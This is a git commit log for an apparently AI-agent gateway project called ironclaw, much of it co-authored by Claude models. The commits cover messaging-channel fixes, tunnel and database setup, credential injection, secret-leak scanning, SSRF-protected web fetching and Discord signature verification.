Compare commits

...
Author SHA1 Message Date
Henry ParkandClaude Opus 4.6 650c914029 fix: re-apply correct download URLs for telegram-mtproto and slack-tool
Re-apply the URL corrections after local revert.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 12:01:47 -08:00
906d618681 fix: add type annotation for Vec<String> to fix Windows build (#452)
The compiler cannot infer the element type of `conflicts` on Windows
because all `push` calls are inside `#[cfg(unix)]` blocks which don't
compile on Windows.

Co-authored-by: Claude Sonnet 4.6 (1M context) <[email protected]>
2026-03-02 04:58:55 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
4a7339f4ed chore: release v0.13.0 (#385)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-02 03:37:39 +00:00
dc7d9cce34 fix(channels): add host-based credential injection to WASM channel wrapper (#421)
* fix(channels): add host-based credential injection to WASM channel wrapper

The channel WASM wrapper was missing the host-based credential injection
that the tools wrapper implements. The `credentials` block in channel
capabilities files was dead code: Slack's `on_respond` sends requests
with no Authorization header, expecting the host to inject the bot token
based on `host_patterns`, but the host never did.

This caused Slack (and any channel relying on capabilities-declared
credentials) to fail all outbound API calls with `not_authed`.

Changes:
- Add `ResolvedHostCredential` struct mirroring the tools wrapper
- Add `host_credentials` field to `ChannelStoreData`
- Add `inject_host_credentials()` method on `ChannelStoreData`
- Update `redact_credentials()` to also scrub host-injected secret values
- Add `secrets_store` field to `WasmChannel` + `with_secrets_store()` builder
- Add `resolve_channel_host_credentials()` async helper that decrypts
  capabilities-declared credentials before each WASM callback
- Update `create_store()` and all `call_on_*` / `execute_status` /
  `execute_poll` call sites to pre-resolve and pass host credentials
- Fix leak scan ordering: scan runs on WASM-provided values BEFORE host
  credential injection, preventing false-positive blocks on injected
  Bearer tokens (e.g. xoxb- Slack tokens)
- Make `credential_injector` module pub(crate) so channels can reuse
  `inject_credential` and `host_matches_pattern`

Fixes #389, root cause of #413

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(wasm): redact URL-encoded credentials, use url::Url, derive Clone

Address review feedback on PR #421:

1. Security: redact_credentials now scrubs URL-encoded forms of secrets
   in addition to raw values, preventing exfiltration via encoded
   representations in error strings from reqwest
2. Use url::Url::query_pairs_mut() for query parameter injection instead
   of manual string manipulation, improving robustness with malformed URLs
3. Derive Clone on ResolvedHostCredential and simplify the per-tick
   clone in the status repeater loop

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Sprite <[email protected]>
Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-01 19:04:37 -08:00
a21dba0ac1 refactor: rename WasmBuildable::repo_url to source_dir (#445)
* refactor: rename WasmBuildable::repo_url to source_dir

The field receives a local directory path (e.g. "tools-src/gmail"), not a
URL. Rename to source_dir to accurately reflect its purpose.

Adds #[serde(alias = "repo_url")] for backwards compatibility with any
previously serialized data.

Closes #329

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: rename extract_url to extract_source

The function can return a local directory path, not just a URL.
Addresses review feedback on PR #445.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:46 -08:00
bb279ad822 fix: pre-validate Cloudflare tunnel token by spawning cloudflared (#446)
* fix: pre-validate Cloudflare tunnel token by spawning cloudflared

After format validation passes, spawn `cloudflared tunnel run` briefly
with a dummy URL and watch stderr for up to 10s. If an error appears
before a connection URL, report it and offer "Save anyway?". This
catches bad tokens during setup instead of at runtime 30s later.

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: tighten cloudflared output matching in live validation

- Check for cfargotunnel.com/trycloudflare.com in success detection
- Use starts_with("err") instead of contains("err") to avoid false
  positives on words like "stderr"

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:35 -08:00
293a700b69 fix: prevent Telegram 409 Conflict on webhook re-registration (#447)
* fix: prevent Telegram 409 Conflict on webhook re-registration

Delete any existing webhook before calling setWebhook in on_start(),
matching the defensive cleanup that polling mode already does. As a
safety net, register_webhook() now retries once on 409 after calling
delete_webhook().

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: deduplicate 409 retry logic in register_webhook

Restructure the match block so the initial request and retry share
a single response-handling code path.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:26 -08:00
7481aea083 fix: batch of quick fixes (#417, #338, #330, #358, #419, #344) (#428)
- #417: Add Docker auto-start login item hint for macOS in setup wizard
- #338: Add clippy.toml with complexity thresholds for AI-assisted dev
- #330: Add structured FallbackFailed error variant to ExtensionError
- #358: Revoke credential mappings on extension removal (SharedCredentialRegistry)
- #419: Detect conflicting cloudflared services during tunnel setup
- #344: Improve embedding auth failure warning with configuration hint

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 09:01:07 +00:00
Zaki ManianGitHubClaude Opus 4.6Illia Polosukhingemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
fa52df593d fix: persist channel activation state across restarts (#432)
* fix: persist channel activation state across restarts (#392)

Channels activated via the web UI were lost on restart because
active_channel_names was only in memory. Now persist activation state
to the settings store under "activated_channels" and auto-activate
persisted channels on startup.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: log warnings for channel activation load failures

Replace silent catch-all with explicit error logging when
database queries or deserialization fails for activated channels.

Addresses Gemini review feedback on PR #432.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Apply suggestions from code review

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-03-01 08:53:32 +00:00
7b883a02c0 fix: init WASM runtime eagerly regardless of tools directory existence (#401)
* fix: init WASM runtime eagerly regardless of tools directory existence

The WASM tool runtime was only created at startup when both
`wasm.enabled` and `wasm.tools_dir.exists()` were true. This meant
that if the tools directory didn't exist yet (e.g. fresh deploy with
`--no-onboard`), the runtime was set to None and passed to the
ExtensionManager. Extensions installed later via the web UI would
then fail with "WASM runtime not available" because the runtime
could not be retroactively created.

The Wasmtime engine initialization has no dependency on the tools
directory — it only configures the compiler and starts an epoch
ticker thread. The directory is only needed later when loading
.wasm modules. Remove the directory check so the runtime is
available for post-startup extension activation.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add regression tests for WASM runtime eager init

- runtime.rs: test_runtime_creation_without_tools_dir confirms the
  Wasmtime engine initialises without a tools directory on disk
- manager.rs: test_activate_wasm_tool_with_runtime_passes_runtime_check
  verifies activation gets past the runtime check when a runtime is
  provided (fails on missing file, not missing runtime)
- manager.rs: test_activate_wasm_tool_without_runtime_fails_with_runtime_error
  verifies the original error when no runtime is available

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use idiomatic Result-to-Option conversion for WASM runtime init

Address PR review feedback: replace match block with
.map(Arc::new).map_err(|e| warn!(...)).ok() chain.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix formatting in extension manager tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:51:05 +00:00
3362081192 fix: add TLS support for PostgreSQL connections (#363) (#427)
All PostgreSQL connection sites hardcoded NoTls, preventing connections
to managed providers that require TLS (AWS RDS, Neon, Supabase, etc.).

- Add tokio-postgres-rustls with rustls + system root certificates
- Add SslMode enum (disable/prefer/require) via DATABASE_SSLMODE env var
- Replace NoTls at all 4 production call sites with TLS-aware pool creation
- Add SslMode::from_env() helper for lightweight CLI tools
- Log native cert loading errors and warn on empty root store

Default mode is Prefer (attempts TLS, matching most managed providers).

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:49:09 +00:00
1f2e8c3b72 fix: scan inbound messages for leaked secrets (#433)
* fix: scan inbound messages for leaked secrets before LLM processing (#393)

Add scan_inbound_for_secrets() to SafetyLayer that reuses the existing
leak detector on user input. Wire it into thread_ops.rs after the policy
check so messages containing API keys or tokens are rejected early,
preventing the LLM from echoing them back and triggering outbound
leak-detection error loops.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: unify inbound secret scan warning messages

Both the detected-secret and error branches now show the same
actionable message guiding users to remove secrets and use the
config system instead.

Addresses Gemini review feedback on PR #433.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:45:27 +00:00
dbf3406bf5 fix: use tailscale funnel --bg for proper tunnel setup (#430)
* fix: use tailscale funnel --bg for proper tunnel setup (#394)

The old command `tailscale funnel http://127.0.0.1:3000` would hang
without establishing a tunnel. The correct invocation is
`tailscale funnel --bg <port>` which configures the tunnel as a
background daemon and exits.

Changes:
- Use `--bg` flag with just the port number
- Run as a one-shot command instead of spawning a child process
- Use `tailscale <cmd> off` to tear down (matches --bg semantics)
- health_check uses stored URL instead of non-existent child PID

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use local_host parameter and verify tailscale health

Pass full http://host:port URL to tailscale instead of ignoring
the local_host parameter. Health check now verifies tailscale is
actually running via 'tailscale status --json'.

Addresses Gemini review feedback on PR #430.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:44:08 +00:00
2052cddf1d fix: add missing build.sh for Discord and WhatsApp channels (#429)
* fix: add missing build.sh for Discord and WhatsApp channels (#406)

Both channels had full source code in channels-src/ but no build.sh,
so their WASM binaries were never compiled and they didn't appear in
the setup wizard's channel selection list.

Modeled after the existing channels-src/telegram/build.sh.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: guard wasm-tools availability in WASM build scripts

Add command existence check before invoking wasm-tools in discord
and whatsapp build scripts. Prints actionable error message if missing.

Addresses Gemini review feedback on PR #429.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:41:20 +00:00
ec31e83a7d fix: normalize secret names to lowercase for case-insensitive matching (#413) (#431)
The Slack channel capabilities.json declares secret names in lowercase
(slack_bot_token) but the web UI stored them in UPPERCASE
(SLACK_BOT_TOKEN), causing credential injection to fail with
"not_authed".

Changes:
- CreateSecretParams::new() normalizes name to lowercase on creation
- All SecretsStore lookups (get, exists, delete, is_accessible) now
  lowercase the name parameter before querying
- Applied to all three backends: PostgreSQL, libSQL, InMemory
- CredentialInjector::is_secret_allowed() uses case-insensitive
  comparison

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:33:58 +00:00
f62937d482 fix: persist model name to .env so dotted names survive restart (#426)
* fix: persist model name to .env so dotted names survive restart (#400)

The setup wizard saved selected_model to the DB but not to .env.
Since Config::from_env_with_toml() runs before the DB connects, the
model name was lost on restart -- backends fell back to hardcoded
defaults, truncating names like "llama3.2" to "llama3".

- Add LlmBackend::model_env_var() as single source of truth for the
  backend-to-env-var mapping
- Write the model env var in write_bootstrap_env() using the new method
- Add selected_model fallback to all 6 backends (was missing from
  OpenAI, Anthropic, Ollama, and Tinfoil)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract resolve_model() helper to reduce duplication

Address review feedback: the env → settings → default model resolution
pattern was repeated across all 6 backends.  Centralise it in a single
LlmConfig::resolve_model() helper.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:32:59 +00:00
914f3cd075 fix(setup): check cloudflared binary and validate tunnel token (#424)
* fix(setup): check cloudflared binary and validate tunnel token (#418)

The Cloudflare tunnel setup accepted tokens blindly without checking if
cloudflared was installed or if the token was valid. Now:

- Checks for cloudflared on PATH before accepting a token, with install
  instructions if missing (user can continue anyway)
- Validates token format (base64-decoded JSON with account/tunnel fields)
  with a warning if malformed (user can override)
- Replaces misleading "will start automatically at boot" with honest
  instructions for starting the tunnel and installing as a service
- Reuses binary_exists() from skills::gating (promoted to pub(crate))
  for cross-platform PATH lookup

Closes #418

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: reuse cloudflared_found instead of redundant binary_exists call

Address review feedback: the binary check result was already stored
in cloudflared_found from earlier in the function.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:31:43 +00:00
e794f39726 fix(setup): validate PostgreSQL version and pgvector availability before migrations (#423)
* fix(setup): validate PostgreSQL version and pgvector before migrations

The setup wizard accepted any DATABASE_URL without checking the server
version or pgvector availability. Users who installed PostgreSQL 14
(or any version < 15) got opaque migration failures. Users without
pgvector installed hit CREATE EXTENSION errors at runtime.

After a successful connection, the wizard now:
1. Queries SHOW server_version and rejects versions below 15
2. Checks pg_available_extensions for the vector extension

Both checks provide actionable error messages with platform-specific
install guidance.

Closes #415
Closes #416

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract version constant, fix hex escapes in pgvector message

- Extract MIN_PG_MAJOR_VERSION constant to avoid magic number
- Replace \x20 hex escapes with regular spaces in install guidance

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(setup): use detected PG version in pgvector install instructions

The pgvector install hints were hardcoded for PG 16. Since we already
parse major_version from SHOW server_version, use it dynamically so
users on PG 15 or 17 get correct package names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:29:49 +00:00
c6bfd18401 fix: guard zsh compdef call to prevent error before compinit (#422)
* fix: guard zsh compdef call to prevent error before compinit

The generated ironclaw.zsh completions file calls compdef without
checking if it exists. Users who source this file before compinit
runs in their .zshrc get "compdef: command not found" on every
terminal open.

Wrap the call with the standard (( $+functions[compdef] )) guard.

Closes #420

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(completions): apply compdef guard during zsh generation

Instead of hand-patching the generated ironclaw.zsh file (which is
fragile and lost on regeneration), patch the compdef call in the
generation code itself. The Zsh output is post-processed to wrap
`compdef _ironclaw ironclaw` with a `$+functions[compdef]` guard.

Regenerated ironclaw.zsh from the patched code to stay in sync.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:28:32 +00:00
b987464f45 feat(cli): add tool setup command + GitHub setup schema (#438)
* feat(cli): add `tool setup` command + GitHub setup schema

- Add `ironclaw tool setup <name>` CLI command that reads
  `setup.required_secrets` from a tool's capabilities file and
  prompts the user for each secret, saving them to the encrypted
  secrets store. Handles already-configured secrets (ask to replace),
  optional secrets (skip on empty), and hidden input.

- Add `setup.required_secrets` to GitHub tool capabilities file
  with `github_token` — the only WASM tool that was missing it
  after PR #437 added setup schemas to all other tools.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* refactor(cli): extract init_secrets_store helper + add tool name validation

Address PR review feedback:
- Extract duplicated secrets store initialization (~50 lines) from
  auth_tool and setup_tool into shared init_secrets_store() helper
- Add validate_tool_name() to reject path traversal in tool names
  (applies to both auth_tool and setup_tool)

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-01 06:55:57 +00:00
98467a553e fix(telegram): remove restart button, validate token on setup (#434)
* fix(web): remove gateway restart button from channel activation failure cards

When a WASM channel (e.g. Telegram) fails to hot-activate after setup,
the extension card showed a "Restart" button that calls POST /api/gateway/restart.
This triggers a process exit and relies on an external supervisor to relaunch,
which doesn't work reliably when running inside Docker.

Remove the Restart button entirely from the failed-activation card for all
channels — Reconfigure is the correct recovery action (re-enter credentials).

Also fix two bugs found during review:
- setServerLogLevel/loadServerLogLevel called .json() on the already-parsed
  object returned by apiFetch, causing a silent TypeError that prevented the
  log level selector from updating
- buildBreadcrumb embedded paths in inline onclick JS strings using escapeHtml,
  which doesn't escape single quotes; switched to data-path attribute pattern
  to avoid JS string injection from paths containing quotes

And simplify: collapse the dead Telegram-specific branch in submitConfigureModal
toast messaging — all channels now show "Configured and activated X" on success.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): propagate token validation errors from on_start

Both webhook and polling mode in on_start() swallowed activation errors
from register_webhook/delete_webhook — using `if let Err(e)` to log
but then returning Ok regardless. This caused a bad bot token to show
as "configured and active" instead of failing activation.

Telegram returns {"ok": true} when deleteWebhook is called with no
existing webhook (idempotent), so any error (e.g. 401 Unauthorized)
genuinely means an invalid token.

The WASM is rebuilt automatically via build.rs on cargo build.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): validate bot token before storing, fix misleading toast

Add upfront GET /getMe validation in save_setup_secrets() before writing
the bot token to the secrets store. This catches bad tokens immediately
for both fresh installs and reconfigures — the reconfigure path
(refresh_active_channel) skips on_start entirely and would never catch
an invalid token without this check. URL-encode the token before
interpolating into the getMe URL path.

Also update the activation-failure toast from "Restart required to
activate" (misleading now that the Restart button is gone) to
"Use Reconfigure to re-enter credentials and activate".

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): collapse nested if, fix formatting (clippy + fmt)

Collapse `if name == "telegram" { if let Some(...) }` into a single
let-chain condition as suggested by clippy's collapsible_if lint.
Also apply rustfmt line-length fixes in the same block.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:45 -08:00
8751a5a9bc feat: add web_fetch built-in tool (#435)
* feat: add web_fetch built-in tool and web-fetch skill

- New web_fetch Rust built-in tool (GET-only, auto-approved, structured
  output: url/title/content/word_count) with HTML to Markdown via Readability
- Full SSRF protection: HTTPS-only, no private IPs, DNS rebinding defence,
  outbound/inbound leak scanning, 5 MB cap, no redirect following
- Rate limited: 30 req/min, 500/hr (same as http tool)
- Protected tool name; registered in register_builtin_tools()
- validate_url made pub(crate) so web_fetch can reuse it from http.rs
- New skills/web-fetch/SKILL.md for agent guidance on web browsing
- Fixes unicode panic in extract_title: use to_ascii_lowercase not
  to_lowercase to preserve byte offsets when indexing original string

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* chore: remove web-fetch skill (tool description is self-sufficient)

The web_fetch tool's schema description already tells the LLM when and
how to use it. A SKILL.md would only add redundant prompt context.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: include HTTP status in web_fetch output

The LLM had no way to distinguish a 404 error page from a 200 success.
Including status in the structured output (alongside url/title/content/
word_count) lets the agent report failures correctly and matches the
behaviour of the http tool which always returns status.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* feat(web_fetch): add Chrome UA and safe redirect following

- Set a Chrome-like User-Agent so sites that block the default reqwest
  string return real content instead of bot-rejection pages.
- Add Accept: text/markdown, text/html header (mirrors OpenClaw).
- Follow up to 3 redirects manually instead of blocking all 3xx.
  Every Location URL is run through validate_url() before the next
  request is sent, so SSRF protection applies to every hop identically
  to how it applies to the original URL.
- Resolve relative Location values against the current URL before
  SSRF-validating them.
- Log each followed hop at DEBUG level.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): expose final_url after redirect following

When redirects are followed, the original `url` field no longer
reflects where the content actually came from. Add `final_url` so
the LLM can cite the canonical source correctly. Equals `url` when
no redirects occurred.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): address review comments and fix CI failures

- Store LeakDetector in WebFetchTool struct (init once in new(), not per execute() call)
- Use self.leak_detector for both outbound scan and redirect re-validation
- Simplify HTML/cfg blocks to reduce duplication (gemini-code-assist suggestion)
- Fix pub use ordering in mod.rs (cargo fmt)
- Add web_fetch to core_registration_covers_expected_tools snapshot test

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:22 -08:00
6481448d50 feat(web): DB-backed Jobs tab + scheduler-dispatched local jobs (#436)
* feat(web): DB-backed Jobs tab, scheduler-dispatched local jobs, remove active-jobs-bar

- Remove active-jobs-bar UI element (HTML, CSS, JS polling)
- Move job handlers from server.rs to handlers/jobs.rs
- Remove user_id scoping (single-user gateway)
- Add list_agent_jobs() and agent_job_summary() to Database trait
  (both postgres and libsql backends) for non-sandbox job visibility
- Wire SchedulerSlot into CreateJobTool so execute_local dispatches
  via scheduler (persists to DB + spawns worker) instead of creating
  phantom ContextManager-only jobs
- Update /status and /list slash commands to read from DB for
  consistency with Jobs tab
- Fix worker mark_completed: skip if already terminal or stuck
- Add agent job cancel via DB update in both web handler and slash cmd
- Add Stuck → Completed guard with tracing in worker completion path

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: address PR review comments

- Log warning when get_context fails in worker completion path
- Extract duplicated status-counting logic into AgentJobSummary::add_count()
  helper, used by both postgres and libsql backends

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Nick Pismenkov <[email protected]>
2026-02-28 19:58:07 -08:00
afb49597ac feat(extensions): add OAuth setup UI for WASM tools + display name labels (#437)
Add setup.required_secrets to tool capabilities.json files so users can
configure OAuth client credentials (Google, Slack, Okta, Telegram) through
the Extensions UI Setup modal instead of environment variables.

- Add ToolSetupSchema/ToolSecretSetupSchema types to capabilities_schema.rs
- Extend get_setup_schema(), save_setup_secrets(), list() to handle WasmTool
- Extract load_tool_capabilities() helper to reduce duplication
- Auto-activate tools after saving setup secrets
- Show display_name labels (Channel/Tool/MCP) in extension cards
- Update button labels: "Setup" when unconfigured, "Reconfigure" when set
- Replace "Set" badge with checkmark in configure modal
- Fix innerHTML XSS pattern in slash autocomplete (use textContent)
- Add tests for ToolSetupSchema parsing and resolve_nested promotion
- Update registry display names (e.g. "Telegram Channel" vs "Telegram Tool")

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:57:55 -08:00
9b25e7566c feat(bootstrap): auto-detect libsql when ironclaw.db exists (#399)
* feat(bootstrap): auto-detect libsql when ironclaw.db exists

If DATABASE_BACKEND is unset after loading all env files and
~/.ironclaw/ironclaw.db exists, default to libsql automatically.

Fixes the chicken-and-egg problem on cloud instances where no
DATABASE_URL is configured: users no longer need to prefix every
ironclaw command with DATABASE_BACKEND=libsql.

Priority order: explicit env var > .env > ~/.ironclaw/.env > auto-detect

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(bootstrap): move env loading to sync main() before tokio runtime

- Fix cargo fmt: wrap three long assert! lines in new tests
- Address set_var data race: load_ironclaw_env() is now called from a
  synchronous fn main() wrapper before the Tokio runtime starts, making
  the set_var call provably safe (no worker threads exist yet)
- Remove the redundant dotenvy::dotenv() + load_ironclaw_env() calls
  from inside command handlers and agent startup (already done pre-tokio)
- Update SAFETY comment to reflect the actual invariant

Addresses Gemini code review comment and cargo fmt CI failure on PR #399.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 18:58:33 -08:00
9ce09f71b0 feat(web): slash command autocomplete + /status /list + fix chat input locking (#404)
* feat(web): slash command autocomplete, /status /list /cancel, fix input locking

Backend:
- Add JobStatus, JobList, JobCancel Submission variants to submission.rs
- Parse /status [id], /progress [id], /list, /cancel <id> as control commands
- Dispatch to existing handle_check_status/handle_list_jobs/handle_cancel_job
  handlers via new process_job_status/process_job_list/process_job_cancel methods
- Add 4 parser tests (34 total, all passing)

Web UI:
- Add slash command autocomplete: type / in chat input to see all 18 commands
  with descriptions; arrow-key navigation, Tab/Enter to select, Escape to close
- Remove chat input locking: drop textarea.disabled + sendBtn.disabled so users
  can always type and send (including /interrupt while agent is processing)
- Remove quick-action toolbar buttons (↩↪⏸⊖🗑📋) added in previous session
- Remove dead #chat-status bar (min-height 28px black bar always visible when empty)

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor: address PR review comments

- Remove Submission::JobList variant; parse /list directly as
  JobStatus { job_id: None } (simpler, eliminates redundant enum
  variant, match arm, is_control branch, and wrapper function)
- Cache autocomplete matches in _slashMatches to avoid re-filtering
  SLASH_COMMANDS on every keydown while autocomplete is open

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Pierre LE GUEN <[email protected]>
2026-02-27 20:59:32 +00:00
601d73d16b feat(routines): deliver notifications to all installed channels (#398)
* feat(routines): deliver notifications to all installed channels

Routine notifications were silently lost because the forwarder didn't
use NotifyConfig fields and WASM channels (Telegram, Slack) had
broadcast() as a no-op. This fixes three issues:

1. send_notification() now includes notify_user/notify_channel in
   metadata so the forwarder can route to specific channels
2. The routine forwarder mirrors the heartbeat pattern: try targeted
   channel first, fall back to broadcast_all
3. WasmChannel implements broadcast() using last-seen message metadata
   (chat_id), with persistence to the settings table so it survives
   restarts. Only writes to DB when the value actually changes.

Heartbeat notifications also benefit from the WASM broadcast fix.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor(wasm): extract do_update_broadcast_metadata to eliminate duplication

The inline metadata-update block in `dispatch_emitted_messages` was
identical to the `update_broadcast_metadata` instance method. Extract
the shared logic into a private free function `do_update_broadcast_metadata`
that both call, so the persistence logic lives in one place.

Addresses Gemini code review comment on PR #398.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-27 12:01:32 -08:00
a65b282066 fix: web UI routines tab shows all routines regardless of creating channel (#391)
Routines created via Telegram (or any WASM channel) were invisible in the
web UI because the routines list endpoint filtered by GATEWAY_USER_ID,
which didn't match the Telegram user's ID stored on the routine.

Add list_all_routines() to the RoutineStore trait (both libSQL and
PostgreSQL backends) and use it in the web dashboard handlers so all
routines are visible regardless of which channel created them.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 18:34:22 +00:00
Henry ParkandGitHub ddd01a628c feat(web): persist tool calls, restore approvals on thread switch, and UI fixes (#382) 2026-02-27 17:46:37 +04:00
DevBrocoandGitHub a89c5f7348 Improve --help: add detailed about/examples/color, snapshot test (clo… (#371) 2026-02-27 17:45:30 +04:00
ibhagwanandGitHub c592a8f2de feat: add IRONCLAW_BASE_DIR env var with LazyLock caching (#397) 2026-02-27 17:43:43 +04:00
a7c0be7f1b fix: Discord Ed25519 signature verification and capabilities header alias (#148) (#372)
* test: add failing tests for Discord signature validation and capabilities alias (Red phase)

TDD Red phase for #148. Adds 19 tests across 4 categories:
- Category 1: CredentialLocationSchema header_name alias (2 failing)
- Category 2: Ed25519 signature verification (3 failing)
- Category 3: Router signature key management (2 failing)
- Category 5: Discord capabilities public_key setup (1 failing)

All 8 failures are expected — stubs return false/None by design.
Implementation will follow in Green phase.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add Discord Ed25519 signature verification and capabilities alias (#148)

Implement the Green phase for Discord channel security fixes:

- Add real Ed25519 signature verification in signature.rs using ed25519-dalek
- Add #[serde(alias = "header_name")] to CredentialLocationSchema::Header
  for backward compatibility with external JSON files
- Add signature_keys storage to WasmChannelRouter (register/get/unregister)
- Add discord_public_key to discord.capabilities.json setup.required_secrets
- Add nested capabilities resolution to CapabilitiesFile for channel-level
  JSON compatibility

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: address PR #372 review comments

- Fix invalid hex character in test fake_pub_key (router.rs)
- Simplify signature parsing with from_slice/try_from (signature.rs)
- Use idiomatic Option::or for nested capability merging (capabilities_schema.rs)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: enforce signature verification, staleness check, key validation, recursive resolve

Address PR #372 review feedback:

- Wire verify_discord_signature() into webhook_handler with Ed25519
  signature + timestamp staleness check (5s window via now_secs param)
- Validate Ed25519 keys in register_signature_key() (hex decode +
  VerifyingKey::try_from) before storing, return Result<(), String>
- Recursively resolve nested capabilities in resolve_nested()
- Add 25 new tests: 8 staleness, 6 key validation, 7 webhook
  integration (tower::oneshot), 4 resolve_nested edge cases
- Fix pre-existing clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: wire register_signature_key() into all channel loading paths

The Ed25519 signature key registration was implemented and tested but
never called from production code. All three channel loading paths
(setup_wasm_channels, activate_wasm_channel, refresh_active_channel)
now read the public key from the secrets store and register it with
the webhook router, enabling Discord signature verification.

Adds `signature_key_secret_name` field to WebhookSchema so channels
can declare which secret contains their Ed25519 public key.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 07:01:54 +00:00
a24fd3e8a3 Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage (#353)
* Add automated QA: tool schema validator, feature-flag CI matrix, Docker build

P0 items from the automated QA plan (#352):

- Add validate_tool_schema() that checks OpenAI strict-mode rules
  (type: object, required keys in properties, nested object/array
  recursion) with 10 unit tests and 6 integration tests covering
  all core built-in tools

- CI test matrix now runs with --all-features, default features, and
  --no-default-features --features libsql to catch dead code behind
  wrong cfg gates

- CI clippy now runs the same 3-feature matrix with --all flags

- Docker build job added to catch missing files in Dockerfile

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P1 automated QA tests and fix LeakDetector prefix shadowing bug

